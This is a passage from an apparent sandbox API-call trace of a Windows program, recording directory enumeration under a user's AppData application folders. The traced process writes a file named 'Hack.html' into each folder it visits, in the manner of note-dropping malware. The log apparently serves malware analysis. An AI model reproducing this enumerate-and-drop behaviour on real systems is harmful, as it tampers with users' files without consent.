HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpFilePart=0x0) returned 0x8a [0071.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", lpFilePart=0x0) returned 0x8b [0071.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a6e8 [0071.961] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0071.961] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0071.961] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0071.962] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0071.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0071.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0071.962] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpFilePart=0x0) returned 0x8a [0071.962] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\", lpFilePart=0x0) returned 0x8b [0071.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a6e8 [0071.962] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0071.962] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0071.962] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0071.962] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0071.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0071.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0071.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data", lpFilePart=0x0) returned 0x8f [0071.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\", lpFilePart=0x0) returned 0x90 [0071.963] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a6e8 [0071.963] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0071.963] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0071.963] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0071.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0071.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0071.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data", lpFilePart=0x0) returned 0x8f [0071.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\", lpFilePart=0x0) returned 0x90 [0071.964] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a6e8 [0071.964] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0071.964] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0071.964] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0071.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0071.965] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e620, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\Hack.html", lpFilePart=0x0) returned 0x99 [0071.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0071.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.965] GetFileType (hFile=0x174) returned 0x1 [0071.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0071.965] GetFileType (hFile=0x174) returned 0x1 [0071.983] WriteFile (in: hFile=0x174, lpBuffer=0x26d257c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26d257c*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0071.983] CloseHandle (hObject=0x174) returned 1 [0071.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e654, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html", lpFilePart=0x0) returned 0x94 [0071.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0071.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.985] GetFileType (hFile=0x174) returned 0x1 [0071.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0071.985] GetFileType (hFile=0x174) returned 0x1 [0071.985] WriteFile (in: hFile=0x174, lpBuffer=0x26d4ed4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x26d4ed4*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0071.986] CloseHandle (hObject=0x174) returned 1 [0071.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\Hack.html", lpFilePart=0x0) returned 0x5d [0071.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0071.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.987] GetFileType (hFile=0x174) returned 0x1 [0071.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0071.987] GetFileType (hFile=0x174) returned 0x1 [0071.987] WriteFile (in: hFile=0x174, lpBuffer=0x26d774c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26d774c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0071.988] CloseHandle (hObject=0x174) returned 1 [0071.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\Hack.html", lpFilePart=0x0) returned 0x50 [0071.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0071.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.989] GetFileType (hFile=0x174) returned 0x1 [0071.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0071.989] GetFileType (hFile=0x174) returned 0x1 [0071.989] WriteFile (in: hFile=0x174, lpBuffer=0x26d9f94*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26d9f94*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0071.990] CloseHandle (hObject=0x174) returned 1 [0071.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\Hack.html", lpFilePart=0x0) returned 0x43 [0071.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0071.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.990] GetFileType (hFile=0x174) returned 0x1 [0071.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0071.991] GetFileType (hFile=0x174) returned 0x1 [0071.991] WriteFile (in: hFile=0x174, lpBuffer=0x26dc7a4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26dc7a4*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0071.991] CloseHandle (hObject=0x174) returned 1 [0071.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX", lpFilePart=0x0) returned 0x41 [0071.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\", lpFilePart=0x0) returned 0x42 [0071.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0071.992] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.992] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.993] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.993] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX", lpFilePart=0x0) returned 0x41 [0071.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\", lpFilePart=0x0) returned 0x42 [0071.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0071.993] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.993] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.994] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.994] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0071.994] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT", lpFilePart=0x0) returned 0x4e [0071.994] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\", lpFilePart=0x0) returned 0x4f [0071.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.000] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.001] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.001] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.001] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.001] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.001] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0072.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0072.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0072.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT", lpFilePart=0x0) returned 0x4e [0072.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\", lpFilePart=0x0) returned 0x4f [0072.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.004] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.004] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.004] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.004] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.004] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.004] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0072.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0072.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpFilePart=0x0) returned 0x8a [0072.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\", lpFilePart=0x0) returned 0x8b [0072.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.009] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.009] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.009] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.009] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpFilePart=0x0) returned 0x8a [0072.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: 